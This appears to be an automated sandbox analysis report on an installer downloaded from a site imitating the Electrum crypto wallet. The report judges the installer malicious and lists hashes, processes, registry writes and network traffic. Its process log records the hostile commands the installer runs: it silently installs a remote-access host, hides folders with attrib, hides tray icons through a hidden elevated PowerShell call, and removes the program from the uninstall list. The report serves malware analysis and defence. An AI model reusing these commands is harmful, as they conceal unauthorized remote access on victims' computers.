URL: | https://electrum-usdt.com/download/windows |
Full analysis: | https://app.any.run/tasks/f58e6f8b-826e-4a55-abff-dedaf1e45e65 |
Verdict: | Malicious activity |
Threats: | Adware is a form of malware that targets users with unwanted advertisements, often disrupting their browsing experience. It typically infiltrates systems through software bundling, malicious websites, or deceptive downloads. Once installed, it may track user activity, collect sensitive data, and display intrusive ads, including pop-ups or banners. Some advanced adware variants can bypass security measures and establish persistence on devices, making removal challenging. Additionally, adware can create vulnerabilities that other malware can exploit, posing a significant risk to user privacy and system security. |
Analysis date: | November 27, 2024, 13:35:33 |
OS: | Windows 10 Professional (build: 19045, 64 bit) |
Tags: | |
Indicators: | |
MD5: | FA0F311E6B0AB38F3396FA04EAE69F21 |
SHA1: | 5A3AFDC34CB9BE0840980D3DBD6B24A125EEF8F0 |
SHA256: | FC729E79B93A9FD9A967D68DA2167B10F3B978B975B81E42A8BAE102D8FAC3CC |
SSDEEP: | 3:N8WRXQ19MLdY:2b9M5Y |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8 | attrib C:\Users\Public\hd.xml +s +h | C:\Windows\SysWOW64\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) | |||||||||||||||
244 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Roaming\Electrum-USDT\Electrum-USDT\prerequisites\7SecurityCenter.bat" " | C:\Windows\SysWOW64\cmd.exe | — | Electrum-usdt-4.7.5.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) | |||||||||||||||
372 | "C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe" -msi_copy "C:\Users\admin\AppData\Roaming\Electrum-USDT\Electrum-USDT\prerequisites\RequiredApplication\set.msi" | C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe | — | msiexec.exe | |||||||||||
User: admin Company: Remote Utilities Pty (Cy) Ltd. Integrity Level: HIGH Description: Remote Utilities - Host Exit code: 0 Version: 7.1.7.0 Modules
| |||||||||||||||
544 | attrib +s +h "C:\Program Files (x86)\Remote Utilities - Host" | C:\Windows\SysWOW64\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) | |||||||||||||||
640 | "C:\WINDOWS\system32\cmd.exe" /s,/c,REG ADD HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f & REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoTrayItemsDisplay /T REG_DWORD /D 1 /F & REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoTrayItemsDisplay /T REG_DWORD /D 1 /F | C:\Windows\SysWOW64\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
644 | powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/s,/c,REG ADD "HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f & REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V NoTrayItemsDisplay /T REG_DWORD /D 1 /F & REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V NoTrayItemsDisplay /T REG_DWORD /D 1 /F' -Verb runAs" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
876 | REG ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{CA01AB2D-E912-4FC0-AD52-2D610BE0D1CF}" /v SystemComponent /t REG_DWORD /d 1 /f | C:\Windows\SysWOW64\reg.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) | |||||||||||||||
968 | REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoTrayItemsDisplay /T REG_DWORD /D 1 /F | C:\Windows\SysWOW64\reg.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
1016 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Roaming\Electrum-USDT\Electrum-USDT\prerequisites\10setup2.bat" " | C:\Windows\SysWOW64\cmd.exe | — | Electrum-usdt-4.7.5.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) | |||||||||||||||
1144 | ATTRIB -r "C:\Users\admin\AppData\Local\Temp\AIE26C2.tmp" | C:\Windows\SysWOW64\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) |
(PID) Process: | (5972) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
Operation: | write | Name: | failed_count |
Value: 0 | |||
(PID) Process: | (5972) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
Operation: | write | Name: | state |
Value: 2 | |||
(PID) Process: | (5972) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
Operation: | write | Name: | state |
Value: 1 | |||
(PID) Process: | (5972) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\StabilityMetrics |
Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
(PID) Process: | (5972) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: 47470C537B862F00 | |||
(PID) Process: | (5972) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: FFC216537B862F00 | |||
(PID) Process: | (5972) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\328536 |
Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {F1EC7419-16B0-44CF-B91F-822B7F303FB8} | |||
(PID) Process: | (5972) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\328536 |
Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {A8A607A0-872B-4877-8F05-A3B49D20DA2F} | |||
(PID) Process: | (5972) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: C07B73537B862F00 | |||
(PID) Process: | (5972) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Operation: | write | Name: | MicrosoftEdgeAutoLaunch_29EBC4579851B72EE312C449CF839B1A |
Value: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start |
PID | Process | Filename | Type | |
---|---|---|---|---|
5972 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\fc3a17c9-e2a4-4dfb-999f-7c2d7b5ef218.tmp | — | |
MD5:— | SHA256:— | |||
5972 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Local State | — | |
MD5:— | SHA256:— | |||
5972 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old~RF135854.TMP | — | |
MD5:— | SHA256:— | |||
5972 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old | — | |
MD5:— | SHA256:— | |||
5972 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RF135854.TMP | — | |
MD5:— | SHA256:— | |||
5972 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old~RF135854.TMP | — | |
MD5:— | SHA256:— | |||
5972 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old | — | |
MD5:— | SHA256:— | |||
5972 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old | — | |
MD5:— | SHA256:— | |||
5972 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old~RF135854.TMP | — | |
MD5:— | SHA256:— | |||
5972 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
5568 | SIHClient.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
7824 | svchost.exe | GET | 206 | 199.232.210.172:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/f4de835d-146f-44d0-9116-4cc8ed0455e7?P1=1733204195&P2=404&P3=2&P4=OlRsWJsgU%2fFXr4mA%2bF56o6R3hjjoKOhrT3SzNj%2bvKhQGGoY1Q8Na2KAJ8mlIBWIt%2bG5A4UYuCnbjfjXaxOAkwQ%3d%3d | unknown | — | — | whitelisted |
7824 | svchost.exe | HEAD | 200 | 199.232.210.172:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/f4de835d-146f-44d0-9116-4cc8ed0455e7?P1=1733204195&P2=404&P3=2&P4=OlRsWJsgU%2fFXr4mA%2bF56o6R3hjjoKOhrT3SzNj%2bvKhQGGoY1Q8Na2KAJ8mlIBWIt%2bG5A4UYuCnbjfjXaxOAkwQ%3d%3d | unknown | — | — | whitelisted |
7824 | svchost.exe | GET | 206 | 199.232.210.172:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/f4de835d-146f-44d0-9116-4cc8ed0455e7?P1=1733204195&P2=404&P3=2&P4=OlRsWJsgU%2fFXr4mA%2bF56o6R3hjjoKOhrT3SzNj%2bvKhQGGoY1Q8Na2KAJ8mlIBWIt%2bG5A4UYuCnbjfjXaxOAkwQ%3d%3d | unknown | — | — | whitelisted |
7824 | svchost.exe | GET | 206 | 199.232.210.172:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/f4de835d-146f-44d0-9116-4cc8ed0455e7?P1=1733204195&P2=404&P3=2&P4=OlRsWJsgU%2fFXr4mA%2bF56o6R3hjjoKOhrT3SzNj%2bvKhQGGoY1Q8Na2KAJ8mlIBWIt%2bG5A4UYuCnbjfjXaxOAkwQ%3d%3d | unknown | — | — | whitelisted |
7824 | svchost.exe | GET | 206 | 199.232.210.172:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/f4de835d-146f-44d0-9116-4cc8ed0455e7?P1=1733204195&P2=404&P3=2&P4=OlRsWJsgU%2fFXr4mA%2bF56o6R3hjjoKOhrT3SzNj%2bvKhQGGoY1Q8Na2KAJ8mlIBWIt%2bG5A4UYuCnbjfjXaxOAkwQ%3d%3d | unknown | — | — | whitelisted |
7824 | svchost.exe | GET | 206 | 199.232.210.172:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/f4de835d-146f-44d0-9116-4cc8ed0455e7?P1=1733204195&P2=404&P3=2&P4=OlRsWJsgU%2fFXr4mA%2bF56o6R3hjjoKOhrT3SzNj%2bvKhQGGoY1Q8Na2KAJ8mlIBWIt%2bG5A4UYuCnbjfjXaxOAkwQ%3d%3d | unknown | — | — | whitelisted |
7824 | svchost.exe | GET | 206 | 199.232.210.172:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/f4de835d-146f-44d0-9116-4cc8ed0455e7?P1=1733204195&P2=404&P3=2&P4=OlRsWJsgU%2fFXr4mA%2bF56o6R3hjjoKOhrT3SzNj%2bvKhQGGoY1Q8Na2KAJ8mlIBWIt%2bG5A4UYuCnbjfjXaxOAkwQ%3d%3d | unknown | — | — | whitelisted |
7824 | svchost.exe | HEAD | 200 | 199.232.210.172:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/e74ec02c-7f50-4b67-9a51-6cc67399bc04?P1=1733294819&P2=404&P3=2&P4=bDy6LQw2Q4LH7JSBugL84gng54yR%2f5n03g1RMuJi1KQ00nbmlUNxXyv%2f5Tgqa5949CmtSWwUwCgg2rm6OOqJXQ%3d%3d | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
2548 | svchost.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
2548 | svchost.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
432 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5064 | SearchApp.exe | 104.126.37.170:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
1176 | svchost.exe | 40.126.31.71:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
Domain | IP | Reputation |
---|---|---|
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
config.edge.skype.com |
| whitelisted |
electrum-usdt.com |
| unknown |
edge.microsoft.com |
| whitelisted |
edge-mobile-static.azureedge.net |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
— | — | Potential Corporate Privacy Violation | ET POLICY Observed MSI Download |
— | — | Potential Corporate Privacy Violation | ET HUNTING Suspicious Windows Installer UA for non-MSI |